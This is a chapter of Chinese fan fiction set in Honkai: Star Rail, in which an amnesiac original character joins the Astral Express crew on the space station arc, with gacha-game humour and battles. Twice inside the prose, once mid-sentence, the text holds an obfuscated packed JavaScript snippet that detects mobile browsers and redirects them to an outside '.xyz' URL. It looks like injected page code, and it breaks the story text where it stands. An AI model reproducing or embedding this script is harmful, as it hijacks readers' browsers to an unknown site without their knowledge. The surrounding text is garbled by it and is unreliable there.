临走时有初四回头看了一眼,艾丝妲的脸,她的眼睛和背影,无法让他回忆起什么,至始至终都是陌生。 失忆前身世的线索吗…… 有初四没抱什么希望,他甚至觉得没必要,想不起来那就不想,没有迫切想找回记忆的感觉那就说明不重要,不重要就不用抱以期待。 去往收容舱段的路上,三月七问有初四对艾丝妲有没有印象,得到了否定。 “我确信我没见过她,连一点熟悉感都没有。” 丹恒看了他一眼,沉默不语。 收容舱段的处于上层,他们需要去往那里寻找失联的防卫科的阿兰,顺便解决掉路上的反物质军团,然后他们就遇到了一个……科员? 有初四上下打量了一眼,看起来也不是空间站的制服。 “这个人的坐标不是由空间站发出的……”丹恒思索片刻,转头对三月七道:“心跳和脉搏都很微弱,三月,准备做人工呼吸。” 三月七摆手:“我,我没什么经验!” 视线又移到有初四身上,还没等有初四说什么就重新放到昏迷的人身上,丹恒说:“还是我来吧。” 直接被略过的有初四:“……” 行吧,如果是他来估计刚凑过去就会忍不住把人打飞,还是不给疑似受伤的科研人员雪上加霜了。 这时,没等丹恒有什么动作,昏迷中的人就醒了,她说她叫星,并且失忆了。 巧了,在场居然凑不出第二个有完整记忆的人出来。 三月七和丹恒与星交谈时,有初四就在他们旁边默默地看着,蓝眼睛盯着灰发金眸的女子看了好一会儿,简直让星如坐针毡。 “星?”丹恒发现了星的不对劲,安慰道:“初四他看见陌生人就是这样的,别在意。” “啊……”星犹犹豫豫地看了眼专注的青年,心想这人真奇怪,怎么会有人有盯人的爱好啊。 有初四则观察着星,她那双清澈愚蠢的眼神不像是装的。 在丹恒表示分头行动时,一直沉默不语的有初四拽住了他的衣袖,丹恒疑惑回头。 “初四?” “我,我——”有初四低着头酝酿了几秒,像是终于鼓起勇气大声说:“人工呼吸什么的,我也是能努力去克服阴影去学的啊!” 啊——啊—— 空旷的支援舱段回荡着有初四的话,看呆了的星缓缓长大嘴巴,惊讶到合都合不拢。 三月七一巴掌拍在自己脸上,小四啊小四,知道你喜欢玩抽象,可是现在还有外人呢! 丹恒定定地看着他,缓缓开口:“你学人工呼吸单是因为我一个人,还是其他人都有份?” 出乎意料的回击! 有初四倒吸一口凉气,无法应付一脸认真玩梗的丹恒,瞬间投降。 丹恒离去不久后,面对星还保持着惊讶的眼神,为了缓解尴尬,有初四就拿出一支木签递出去,他对星说:“来一发吗?” 星啊了一声:“这进度是不是有点快了?不应该是先培养感情吗。” 三月七:“重点不是这个吧!别在意,小四就是瞎说,众所周知人尴尬的时候会假装自己很忙。” 她转头对有初四说:“小四!别在这种时候皮啊,要是抽出下下签那可不是闹着玩的!” 星看看这个又看看那个,她挠头:“那不来了吗?” 为什么你一副很失望的样子啊?! 有初四悻悻收回木签,叹了口气:“要是能把我从编队里移出去就好了。” 三月七还在惊讶有初四为什么突然话多了,并不知道他已经在心里给星画上了一个大大的叉,并把她丢进“安全无害”的列表里。 并没有小看她的意思,他感觉星不像是会主动去[哔——]谁的类型。 “编队?”听到耳熟的词,星立刻支楞起来,她自信抬头:“这个我熟!”不就是把送的人物从队伍里移出去嘛,简单! 不过为什么要解除编队?话还没问出口,三人就遭遇了一只小怪。 星手拿棒球棍挥得虎虎生风,然后她就知道了为什么有初四要提出把自己从队伍里移出去了。 她眼睁睁地看着蓝眼睛的青年摸出一只下下签,然后全员身上都冒了一堆debuff,抖着手打开面板后,星看到了一连串的负面效果。 【下下签】全队伤害减少90%,暴击率减少50%,暴击伤害减少100%,持续三回合。 【悲观】攻击力减少50%,速度减少50%,持续三回合。 为什么要悲观啊?! 看着全员攻击高达1的伤害,刚醒来没多久的星两眼一黑。 不过好在罪魁祸首有嘲讽,而且血厚又极其的耐打,总算是在血量见底之前刮痧完了。 退出了战斗,星没来得及回应三月七评价她人不可貌相,就一头扎进了有初四的技能描述。 把那一长串文字啃完之后,星果断把有初四移了队伍,纯看运气的人物,咱非洲人用不起。 不知道发生了什么的有初四无辜歪头,在他看来打怪的时候完全没插上手,签都没扔出去怪就已经被星一棒子解决了。 “你是说我现在不在队伍里了?”有初四眼睛一亮,当场就想试验一下,但他皮也知道分情况,现在空间站遭受袭击的时刻,要是队里全都中了下下签的debuff,那就真的麻烦了。 走过桥来到操作台前,三月七发现通往主控舱段的电梯动不了,转头就对有初四说:“小四,上!” 法塔莫日甘的一切都被有初四当做故事一样讲了,还讲的很详细,包括但不限于冰箱里神秘消失的布丁,和他不知道哪学来的撬锁技术。 “电梯不算锁吧?”有初四迟疑地打量着这个大型装置,和没有反应的控制台,“是不是权限不够啊?” “不清楚啊……没有办法运行大意就是卡住了或者被锁住了,所以也可以把他当做一种锁嘛!”三月七叉腰,“本姑娘真是个天才!” “你最好真的是。” 突然出现的丹恒把三月七吓了一跳,“哇?!丹恒你怎么比我们还快?” 丹恒:“从上面一层绕过来的,我找到阿兰了,在监控室,他受了点伤,但没生命危险。” 星这时也凑过去,有初四摸着下巴观察没有反应的操作台,“除开卡住了和锁住了,还有一种可能是坏了,坏了的锁也没办法开吧?” 居然自然而然的就接受了电梯就是锁论吗……星看着一脸期待的三月七在听到有初四的话后挠挠头,这两人一个敢说一个敢信啊。 三月七转头看向万能的丹恒老师,不用问,丹恒也知道她想说什么,“我不会修电梯。” 他看着正在尝试上手的有初四,想到监控室的阿兰,“阿兰是防卫科的负责人,他应该知道——” 话还没说完,就听见电梯传来一阵声响,电梯开始运行。 还维持着把手放在操作台上的有初四:“……” 看呆了了的星:“……”还真的行得通啊?! 兴奋的三月七:“我就说能行吧!” 监控室内,看见电梯权限自动解锁了的阿兰:“?” …… 有初四没想到真的会成功,他只是抱着试一试的心态,在手指熟练地在操作台上点动的时候,他有一瞬间怀疑过这真的是自己的手吗?什么时候连这种东西都会修了,他怎么不知道? 【诡术:挑战|犯罪】 只有自己能看见的文字浮现在眼前,有初四不是很喜欢这个说法,什么犯罪,修电梯的事,怎么能说是犯罪呢? 【你成功了,你艰难地解开了电梯封锁权限,由于不是很熟练,你惊动了阿兰,你学到了一些诡术上的技巧。】 有初四默默回头去看身后的三月七和丹恒,“这个电梯好像,本来是该封锁的,我刚刚强行破坏了封锁权限。” 三月七僵住了,丹恒摊开一只手,“阿兰估计在监控室一头雾水吧,我们该走了。” 去往监控室的路上,从电梯被修好直到现在都没有出声说话的星,一脸虔诚地想去抓有初四的双手,“教练,我想学这个!” 察觉到有人靠近的有初四瞬间后退,但星深知敌退我进的道理跟了上去,被不断逼退到后背挨着墙壁的有初四浑身僵硬,这个距离要是再靠近,他真的要忍不住出手了。 丹恒见身后的脚步声停下了,回头看了一眼,发现被星硬控住的有初四,而矮了星一头的黑发青年被逼近,清澈的蓝眼睛里全是不知所措。 “初四他不习惯跟别人接触。”响起的声音宛如有初四的救命稻草,他果断离开星的前进范围跑到了丹恒身后把自己遮得严严实实。 胸腔里的心跳加快,被吓的。 也就是星和他半生不熟,如果是一个陌生人这样逼近他,可能就要上演一场命案了。 星看着他这反应,尴尬地摸摸脑袋:“啊抱歉,我不该想靠近你的。” 她不知道,等后面熟悉了之后,拥有了被亲近的特权,她毫不客气地把有初四那头柔顺的头发rua的乱七八糟。 …… 有初四一直都知道,人不可貌相,可是星看着挺文静一姑娘,没想到是个破坏狂? 他看着角落已经是第三个被球棒打碎的箱子,陷入沉思,居然也习惯了星突然跑到角落抽出球棒殴打可怜箱子的行为。 箱子:就没有人为我发声吗? 事态紧急,没有人在意箱子先生的想法,可怜的箱子先生。 箱子:绕路过来打我这就是你口中的事态紧急吗?! 三月七疑惑回头:“你怎么敢假定他的性别,说不定人家的性别是寰宇购物袋呢?” 暂且不讨论箱子的性别和性别认知以及性取向,在他被打碎的那一刻,他就已经没有未来了。 星:“不啊,你下次来它还在的,到时候就可以和它探讨一下到底是什么性别。” 但事实是,有初四每次过来都赶不上她闪现过去挥舞球棒的速度。 阿兰是一位脸上有刀疤的白发少年,四人一起进到监控室的时候,看见他正对着一个操作台陷入沉思。 “啊,你们来了,电梯的封锁权限不知道为什么突然解锁了。” “啊这个……”三月七挠头,向阿兰说明了一下事情的原委,少年听后点点头,没有在这种事情上纠结,示意四人回到主控舱段。 “阿兰你不跟我们一起吗?” 阿兰摇头,“我行动不便,怕是会拖累你们。” 无名客不会把人丢在这里,经过劝导后阿兰同意跟着他们离开,去往电梯口的时候,有初四察觉到少年一直在时不时看他,心里清楚是因为电梯的事,其实到底发生了什么他自己都不清楚,只是因为在“挑战”的难度下破天荒地幸运了一次而已。 走过重新打开的斥力桥,一行人看见了被放在展台上浮动着的卡片。 “这是光锥吗?如果我没记错的话,是星际和平公司内部才有的稀罕货吧。” “不,光锥是流光忆庭的技术,能将记忆随身携带,是非常厉害的强化类奇物,公司只是买下了使用权。” 有初四仰头看着这个亮晶晶的玩意儿,听到丹恒的描述后头顶冒起一个灯泡,“类似概念礼装吗?” 旁边的星转头:“这串戏了吧?” “概念礼装又是什么东西啊?怎么感觉你们背着我偷偷对上了脑回路。” 三月七不理解,三月七欣慰又委屈,自己的小伙伴交到了志同道合的新朋友本该是一件值得开心的事,但总觉得心里酸酸的,就像是亲手养大的孩子抛下自己的老母亲奔向其他人的怀抱一样。 身高170·看起来已经成年了·从记忆上来讲还是个孩子·有初四:“?” 自打碎路边的箱子后,有初四又发现了星的另外一个爱好,那就是把那些总会藏在角落的,或蓝或金的箱子翻个底朝天,明明打开的时候空无一物,却兴奋地用双手捧起空气惊喜地叫了起来,“是原石!亮晶晶的原石!啊不对,在这应该叫星琼来着。” 然后嘴里喊着什么车票啊抽卡啊,像个奇行种一样四处摸索,最后一脸沮丧地嘟囔着“怎么还不解锁。” 三月七像是被触发了关键词一样猛回头,“抽卡,什么抽卡?你是在说现在很流行的抽卡游戏吗?” 星茫然:“啊?” 三月七点开手机相册,清了清嗓子,“咳咳!你怎么知道我十连八金还都没歪的?” 星无辜地就像是路边的狗无缘无故地被踹了一脚,“谁问你了?!” 走在最后面的丹恒默默补上了一句:“是我抽的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536584|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星转头就要抱住丹恒大腿:“欧皇渡我!” “其实都是小四的原因啦。”三月七收回了手机,一只手扶住阿兰一只手在半空中比划,“他这样那样,然后丹恒就获得了超好的运气!抽卡欧得像是使用了寿命——啊不对不对,这种说法好像有点歧义。” 这回轮到有初四被亮晶晶的大眼睛盯着了,星满脸虔诚双手合十,“信女愿瘦十斤来换抽卡永远不歪。” “这不就是什么好事都让你占了吗!” 有初四思索片刻,又看了看抱着双臂的丹恒,对星说:“等空间站的事情结束了,如果丹恒同意的话,我就帮你来一发。” 旁听的阿兰:“?” 丹恒疑惑回头:“为什么要我同意?” “我怕你生气。”毕竟有百分之九十九的概率抽出下下签,丹恒得知下下签的解决办法在伤害自己身上后,就很严肃地说了有初四一通。 听出有初四话里意思,丹恒想起了他之前突然犯熊说的那句“丹恒,记得捞我”,头已经开始疼了。 三月七听不下去了,被她扶着的阿兰的表情就像是不小心听到了什么奇怪的兴趣爱好,表情微妙地处于一种不理解但是尊重之间,“你们就不觉得这个对话有什么问题吗?!” 身体有记忆但脑子没有的失忆人员一号有初四,和刚醒来没几个系统时的失忆人员二号星:“怎么了吗?” 知道有初四想表达的意思,所以完全没往那个方向想的丹恒知道三月七说的是什么,这两位失忆人员很明显不是很能理解说话的艺术的样子,与其纠正他们,不如顺其自然。 一个是学不会对熟人保持正常社交距离,且有前科的熊孩子,一个是刚醒没几个系统时就初显破坏狂属性且心理年龄成迷的家伙,星穹列车的大家长们,任重道远啊。 星跑到了桥的边缘处,她看着对面四步之遥的平台,上面金灿灿的宝箱是多么的动人,让人忍不住想扑过去,拿走它身体里亮晶晶的星琼! 可是重大的阻碍让星望而却步,不仅有可恶的空气墙,还有不争气的膝盖! 她实在不舍得眼前的宝箱,仿佛能听见他流着泪说“亲爱的别走!”。 “怎么了?”有初四路过的时候看了一眼,“为什么不拿,是不想吗?” 星:“……”此时她非常想转头扑过去,让这个人感受一下社会的险恶! “因为我跳不过去啊……”灰发的女子捶胸顿足,像是受到了莫大的打击一样斜坐在地上,能实质化的黑气压让有初四隔着半个桥的距离都能感受到其中的沮丧。 三月七跑过去扒拉她:“走啦,现在当务之急是去主控舱段,再拖下去说不定会出什么意外,跳不过去也没办法啦,下次可以再来嘛!” “呜呜呜不要分开我们!”星嚎啕大哭,手指扣着桥的边缘不肯走,活像是邪恶的剪刀要把她和宝箱的红线给剪短,其悲壮程度把三月七吓得直接松了手。 有初四目测了一下宝箱平台距离,并不是特别远。 他悄咪咪地看了一脸严肃的丹恒,脚步轻轻地走了过去,“是恐高吗?” “呜呜呜你不懂,因为我——”话说到一半,星瞪大了那双金色的眼睛,眼睁睁地看着青年往后退了几步,轻巧地一个助跑跳跃,就站到了放着宝箱的平台上,蹲下来摸了摸黑金色的大宝箱。 “打不开啊。”有初四轻声说了一句,对着还一脸震惊的星摊开手,“没办法,我还想着帮你把那个星琼拿出来的。” 星听到这句话,立刻对有初四双手合十:“请用你万能的开锁技术想想办法!” “没有能开的选项,用不出来啊。”明明连电梯都能强开,这会儿却没有能使用诡术的选项,就像是宝箱是谁的所有物,只能由特定的人才可以开,而且还是硬性规则。 灰发的女子肉眼可见地变得消沉,不过一两秒又突然反应过来。 “等等,你是怎么跳过去的?!”星迅速爬了起来,脸贴着空气墙盯着被她这么一说一脸茫然的有初四,“就是,这么跳过来的啊。” “不对啊……”星的表情逐渐呆滞,“不说空气墙,按设定来说我们不应该都没有膝盖的吗?” 有初四:“……没有膝盖居然是你们这里的设定吗?而且我没发现有空气墙。” 三月七更是一脸莫名其妙:“你们是不是在说些很不得了的东西?”她甩了甩头,试图把剧情拉回正轨,“你们是不是忘了空间站正在遭受危机,委托啊委托!还有反物质军团呢,太松懈了!” 星双手叉腰理直气壮地说:“没有要求限时触发剧情那就等于我可以随便乱跑!” 还傻站着的有初四如梦初醒,“是了,我们还得送阿兰回主控舱段。” 阿兰:谢谢你还记得我。 于是,星眼睁睁地看着有初四从宝箱那边又跳回到桥上,“说真的,我觉得你去参加立定跳远大赛,一定能拿奖。” 有初四惊讶回头:“没有膝盖的世界也会有立定跳远比赛吗?” 星尴尬挠头:“说的也是……”总有种回旋镖打到自己身上的感觉,她沮丧地跟着大部队往电梯口走。 打闹时间结束,这一路上这么顺利,不出意外的话,应该是要出意外了。 突然出现的箭矢是朝着有初四射过去的,丹恒率先发现攻击手握击云挡在有初四前面,这一箭的力量格外的大,在挑飞后飞速迎来的踢击丹恒迅速调整好位置格挡。 “铛”的一声,丹恒退了一步,护腕上的黑烟散去。 脚尖轻点几下地面,带着粒子光效的拖尾,人马形状的虚卒堂堂登场! 有初四面色阴沉地抽出一条木签砸了上去,攻击被躲开后他笑了一下,双手交叉,十指之间各夹着一枚木签,“那么,现在我看你怎么躲!” 行动力max的青年让星愣了一下,也立刻加入战斗,四人将行动不便的阿兰护在身后。 [目标已锁定——人马虚卒] 一行字悄悄浮现在面板上,可有初四现在正处于战斗爽的状态中,完全没有发现在他眼里只是个身体情况探查器的面板有什么变化。 各种混乱的特效和技能喊话中,一根木签冲破了乱飞的攻击直直地朝目标撞了过去,空中木质的签体上突然浮现黑色的文字,铃铛清脆的响声突现,瞬间就冲破了人马虚卒的防守,然后“嗤”的一声插进了它的脑袋,整根没入。 人马虚卒啪的一下倒地,再起不能。 三月七恍惚地转头,看向掷出木签的有初四喃喃道:“小四,刚刚的声音是……” 星盯着倒地的人马虚卒喃喃道:“你怎么非要做辅助呢,做个主c让我开荒多香啊。”虽然说铁打的辅助流水的c,但总比随机性强到血压拉满的辅助要好的多啊…… 她转头,看见有初四也恍惚地看着自己手腕上逐渐被银色吞没的金色铃铛,“我刚刚,把下下签……抽出来了?” 知道下下签威力的三人立刻紧张地把目光放到地上的尸体身上,发现对方和脑袋里插着的木签一起消散后,齐齐松了一口气。 但很快,天上浮现出大批的虚卒,三月七大喊:“喂喂喂打不过就群殴,是不是玩不起啊!” 好在姬子小姐及时赶来,给了他们逃进电梯的时间,主控舱段暂时是安全的,丹恒也有时间询问有初四刚刚发生了什么。 有初四皱着眉仔细回忆:“好像是,在空中的时候自动抽签了,原来脱手了也能抽的吗……” 丹恒提起他第一次试验能力的时候,“书本是媒介,相当于木签,而接触到书本的桌子也等同于接触到下下签的人,当时桌子是直接碎掉了,刚刚的虚卒也是直接死亡,所以可以得出……” 他低头,看向有初四手腕上那枚被衣袖遮挡住的铃铛,“和你的下下签接触的人,会死。” 14.爱抽的主角赌命的她 有初四其实对杀人没什么实感,因为过去的记忆没了,目前为止杀的也都是些怪物,他隐隐约约也有种如果逼不得已,杀人的事他也能毫无芥蒂地做出来的感觉,但当被告知自己手里握着个杀人利器的时候——等等。 他皱眉,自己好像没必要纠结这种事情?丹恒的击云和三月七的弓箭,哪个不是能杀人的利器?那没事了。 总之就是小心下下签落到别人身上,必要时也能出其不意把敌人做掉,就是一天只能用一次有点可惜…… 丹恒走在有初四身旁,看着他皱眉一副顾虑着什么的样子,有初四突然抬头:“那次你没抽出下下签,真是太好了。” 他纠结的居然是这个吗……丹恒其实也知道当初的自己在鬼门关前走了一遭——算上抽出上吉签那次,应该说是两遭了,不过那都是过去的事了,他以为有初四担心的会是不能随随便便给别人抽签了。 “而且不能给别人抽签了……”有初四念念有词,“如果不是要承担的风险那么大,我也想让他们感受下下签的绝望啊!” 丹恒:“……”其实也没猜错。 姬子笑了一下:“很有精神嘛,看来这次收获不小?” 确实不小,还捡了个人回来。 通过阿兰的反应就能看出来,星其实不是空间站的人,和空间站的制服也不太相似,她为什么会昏倒在收容舱段,为什么会失去记忆,一切都是迷。 顺利将艾丝妲寻找阿兰的委托完成后,她向列车组表达了感谢,并在对话结束后又看了一眼站在靠后地方的有初四,迟疑了一下,说道:“关于有初四先生的事情,或许我们可以在事件平息后仔细谈谈。” 有初四还是没能想起以前的事情,艾丝妲的这番话好像很笃定他们以前认识,不过也只能等空间站的事情结束后再细谈了。 和艾丝妲结束对话后,星简直要兴奋地跳起来,为什么?因为可以抽卡了啊! 她豪迈地把背包里的星琼全部拿了出来,一口气塞到跃迁里去,出金吧!我的第一个五星! 首先当然要抽限定池啦,新手池不会过期,抽到限定再说! 半个系统时后…… 正在空间站乱逛的三月七看见了摇摇晃晃朝他走过来的星,她低垂着头,看不见脸上的表情。 “星?你不是说你去听爱情故事了吗,怎么样怎么样?”没得到回应,反而是走进后肩膀被她一把抓住,然后开始疯狂摇晃! “我的限定五星!”星流着泪脸颊都凹陷下去了,她哀嚎痛哭,双手紧抓着三月七的肩膀不放,“吃满大小保底,吃满大小保底啊!御三家都满命了,虽然三月七很可爱啦,姬子老师也很漂亮啦,但是米O游你欠我的拿什么还?!” “星,你……冷静……一点……下次,一定,不歪!”听着新认识的小伙伴嘴里喊着抽卡啊保底啊漂亮啊什么的,就差在地上打滚了,什么游戏让她这么着迷啊? 星吸吸鼻子,一秒恢复成面无表情的模样,她把手搭在胸前,说:“没事,我使用了钞能力。” 那一瞬间,她的身上似乎冒出了某种光芒,刺眼的由内而外的散发着。 “好,好刺眼!”三月七半遮着眼睛,只能从指缝里泄露出来,啊,原来是金色的光芒! 这就是氪金玩家吗?! “但战斗仍未结束!”星柔和的侧脸一瞬间变得坚毅起来,三月七敬畏地看着她双手从兜里掏出两把信用点,一边嘴里嚷嚷着“我要把专武抽出来”一边气势汹汹地走了。 “等等。”三月七突然反应过来,“她哪来那么多的信用点?” 抽卡的过程颇为曲折,星到底氪了多少不得而知,只是在发现有初四的身影时,跑过去把一张光锥塞到他怀里,然后捧着画有丹恒和三月七的两张光锥跑走了。 有初四缓缓冒出一个问号,他把据说是稀罕货的光锥拿起来仔细端详,画面中的他闭着眼安详地沉在水里,无数红线飘在水中缠绕在他身上,脖子,手腕和身躯,其中腰部缠着的红线最多,像是要将他溺死在水里一般。 “与他交织沉沦……什么意思?”据说光锥中储存着记忆,那这张光锥里是他,难不成他可以看见里面存放的东西? 但光锥是流光忆庭的,使用权在公司那,他光是拿着这张亮晶晶的卡片也不知道怎么看里面的记忆啊,有初四只好先把东西收了起来。 原本以为风波会就此化解,但巨大的末日兽带来了新的危机,锋利的爪子穿过防护罩,象征着被攻击的红色感叹号逐渐布满屏幕,众人表情凝重。 “你们先坐列车走!我留下。”艾丝妲表情坚毅,三月七迟疑上前一步:“可——” 她想说咱们就这么跑了吗?想说有初四的过去好不容易有了眉目,就这样放弃了吗? 三月七此刻的心情不知道该怎么表达,她只是觉得,不论是以列车长久以来的行事风格,还是为了有初四,都不应该就这么一走了之。 像是知道三月七在想什么,列车组可靠的领航员姬子小姐递给她一个安抚的眼神,就拉着星一起往支援舱段跑去。 而有初四在临走之时回头看了一眼,正好对上艾丝妲还没收回去的视线,那一眼夹杂了太多东西,有初四还没分辨出来就被丹恒拉着一起走了。 路过一个科研人员的时候还能听到他自言自语:“过了今天我就辞职回老家结婚。” 不要在这种时候立flag啊! 到达了能通往月台的支援舱段,有初四得知了这座空间站为黑塔所有,不是绝灭大军出手就不会有什么大碍,可黑塔不在,空间站的防御系统对反物质军团来说太过脆弱。 姬子:“所以我们才必须离开,还要带上星一起。” 开头忘了,中间忘了,总之星是破局的关键,而且杨叔也来了,此行列车组全员出动!除了帕姆。 有初四还惦记着临走时艾丝妲的那一眼,由于星和三月七都还在懵逼当中,他选择了向冷静的丹恒老师提出了问题。 然后得到了“人的眼睛并不是扇形统计图”这一回答,有初四大受打击,此时看着丹恒的眼睛里有两分委屈三分遗憾还有五分失望。 丹恒的眉毛一抽,揉了揉太阳穴,说服自己只是眼花了。 抵达月台的时候,一阵风吹过,生着双翼的巨兽在空中盘旋,末日兽,它追过来了! 三月七拉弓瞄准,大喊一声:“你下来啊!” 巨大的身体落在月台上,末日兽朝五人发出吼叫,震动和狂风让体重过轻的有初四差点被吹飞出去,被姬子和丹恒一左一右拉住了。 战斗一触即发,在星的场合里试用角色姬子补足了空位,默默向再次被抛弃的有初四说了声对不起。 面对末日兽的吼叫,星冷静而坚毅地说道:“你说得对,但规则,就是用来打破的!” 而数次差点被攻击的狂风吹飞的有初四,顶着被吹到麻木的脸迫不得已划水,沙砾划过皮肤的刺痛让眼泪止不住地流下,他擦了把脸:“我永远讨厌大型敌人。” 战斗以姬子的一发轨道炮作为结束,末日兽颓然倒下,但垂死挣扎中,从头中射出的激光炮朝三月七的位置扫射过去,最靠近也是速度最快的有初四率先将三月七拉开了,可扑过来挡炮的星没刹住车,一下就用脸接了伤害。 “星!!” 我们从未得知星在被光炮轰了一下后到底发生了什么,她突然失控爆发出的力量极为惊人,杨叔及时赶到控制住了场面,在一拐杖把人敲晕后杨叔推了推眼镜。 “不是拐杖,是手杖,不要把杨叔形容成老年人啊。”在一旁听到有初四嘀嘀咕咕的丹恒叹了口气,看着被三月七接住的星,心里已经明白了她的身份。 有初四此时兴冲冲地凑到渐渐转醒的星面前,在她还没有完全恢复意识的时候幽幽地说:“你醒啦,手术很成功。” 星:“……” 星:“……?!” 心理年龄不足一岁的星核小姐一个起猛,真的以为自己被做了什么奇怪的手术,急急忙忙检查浑身上下有没有少什么零件,等混沌的脑子清醒,星反应过来后,一脸震惊地看着已经被丹恒扯住后领子的有初四。 “初四,原来你已经——” 星知道有初四也是失忆人员,为此她还激动了好一阵,觉得因为失忆出现的那点不安完全消失了,而作为一个虽然身体是大人但头脑酷似小孩的星核精,她清楚的知道,要想成为真正的大人必须要让头脑也变成和大人一样,而小孩所欠缺的,大人所拥有的是什么? 没错,就是肮脏的心灵啊! “你已经变成大人了吗?!” 自己淋过雨所以要撕烂别人的伞,这无疑就是肮脏的大人啊! 被控诉的有初四一脸无辜,他只是想让人体会一下他一开始醒来的那种生怕身上少了什么零的恐惧,他有什么错呢? 丹恒面无表情地对着星说:“别说初四了,你之前求他保佑你小保底不歪的样子,不也已经是完完全全的大人了吗?” 三月七震惊:“丹恒你居然能跟得上他们的思路吗?!”什么变成大人了完全听不懂啊! 纤长有力的手指放开了被扯皱的衣领,丹恒淡淡道:“你习惯了你也可以。” 星受到暴击,星应声而倒,她流着泪躺在三月七的怀里,哭诉道:“整个世界都是冰冷的,只有小三月的怀抱还有那么一丝温暖。”好像总觉得忘记了什么? 有初四摸摸后颈,似乎那股微凉的触感还停留在那里,他转头疑惑问:“怎么好像在拿管教小孩子的手段来对待我?” 丹恒和他平静对视,反问:“你不是吗?” “!”有初四受到暴击,有初四倒地不——鉴于没有星那种被接在怀里的待遇,他转头扒在丹恒身上,黯然道:“我把你当兄弟,没想到你把我当儿子。” 丹恒:“……没说是儿子,你别给我扣锅,还有,靠太近了!” 旁观的姬子不知道从哪掏出来一杯咖啡,笑了笑:“真热闹啊。”她看见了瓦尔·特杨转头来看她,举起杯子抿了口咖啡。 轻轻吐出一口热气,她变戏法一样又掏出一杯咖啡,对瓦尔·特说:“来一杯吗?” 瓦尔·特推推眼镜,冷汗直流:“不用了,谢谢。” …… …… 等到星再次醒来的时候,已经是在空间站里了,三月七无奈摊手,“原本以为就是装装伤心的样子,没想到你真的睡了啊。” 星低头沉默不语,见她不说话,三月七又有点担心的问:“你没事吧?” 正怀疑是不是受了什么伤,却见她猛的一个抬头吓了三月七一跳。 “我说我忘了什么呢!我新抽的五星没换到编队上去啊!” 三月七犹豫道:“虽然不是很懂你在说什么,总之节哀。” 星:“……”节哀并不是通用的安慰词啊! 吐槽完后星突然反应过来,惊讶于这次自己成了吐槽的那一个,三月七表示,和有初四呆久了是这样的。 空间站某处,有初四打了个喷嚏,他疑惑地感受了一下周围的温度,很正常并不冷啊。 三月七是为了守着星醒来才在这个地方的,现在见人活蹦乱跳的,她也放心去溜达拍照了,只留下星眨巴眼睛,好奇地观察着四周。 于是空间站,危。 “你干什么啊打扫地板很难的!” “这已经是你打碎的第几个箱子了?我看得明明白白你个破坏狂!” “什么宝箱?别闹我先把数据录入之后……诶诶诶!” 在造成一众混乱的星满足地捧着秘技点和新搜刮来的星琼信用点离开了。 而另一边…… 丹恒盯着低头沉默不语的有初四,说:“初四,你——” 话还没说完,眼前的青年突然身体一软倒下,丹恒一惊就想去扶他,可有初四只是身体半躺在地面上,一手捂嘴状似柔弱。 他一脸不知所措地侧躺在地上,仰起头可怜兮兮地说:“丹恒我知道错了……” 丹恒顶着周围人一脸看变态的表情,深吸了一口气。 “你先起来。” 却见有初四又低头露出笑容:“才怪,下次还敢。” 丹恒拳头一硬。 事情的起因是,有初四不小心打碎了角落里的一个箱子,在有人被巨响吸引来后,就算是恐人的有初四也老老实实道了歉,虽然距离远了点难免有嫌弃的成分,但其态度诚恳到让科研人员都愣了一下,不由地询问缘由。 有初四:“星说打碎箱子能拿信用点,我就想试试看是不是真的。” 科研人员:…… 路过的丹恒刚好听到这话,突然有种同伴被人带坏的感觉。 原本还想多打几个箱子试验一下的有初四转头就看见了杵在那盯着他的丹恒,被吓得打了个哆嗦,然后就发生了刚才的那一幕。 丹恒叹了一口气,“起来。” 半躺在地上的青年犹豫地看了他一眼,见他没有因为刚刚的恶作剧生气,就小声说:“我能再趴会儿吗?这种冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538823|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉的触感……” 有初四说着说着突然兴奋,侧脸贴到地上:“还挺舒服的!冰冰凉凉的——” 丹恒:“别蹭了很脏,快起来。” 此时的有初四并不知道丹恒老师已经准备上手了,他摸了摸冰凉的地板,然后摸到了一点灰尘。 有初四咦了一声:“空间站这种到处都是高科技的地方也有灰尘啊?” 旁边站着的科研人员忍不住开口:“你这是把空间站当成什么了啊?!这地方你刚刚踩过,当然会有灰啊!” 而几次劝诫无果的丹恒,心中知晓当一个人不能用言语来劝说时,要用行动来说服他。 于是身着青白色外套的青年果断上前一步,双手握住了有初四的侧腰往上一点的地方。 有初四疑惑回头:“丹恒?” 只见丹恒眼都不眨,双臂用力往上一抬! “……啊咧?” 骤然腾空的感觉让有初四不由地缩了缩身体,他呆呆地望着自己够不着地板的脚,眨眨眼又抬头,他看不见把他背对着举起来的丹恒的表情,在抬高的视角下面前那群人震惊的表情却是一览无余。 那一刻,他似乎看到自己身上散发着光芒,听到了有人在他耳边喊着“辛巴!”。 有初四愣住了。 “唔?”抱着一堆信用点的星路过,探出一个好奇的头,“你们这是?” 她看了看一脸呆滞的有初四,和面无表情举着一个青年男子身体的丹恒,在这种沉默的氛围中思索片刻,头上突然冒出一个小灯泡,“哦~我懂了,你们是在模仿狮子王!” 同样的举起,被举起的人/兽同样不明所以,怎么不算呢? 直到丹恒把人放下来,有初四脚踏实地后宕机的脑子终于恢复了,被刚刚握住的地方似乎还能感受到透过布料渗进来的温热,让刚刚在地上滚了一圈手掌冰凉的他有些奇怪。 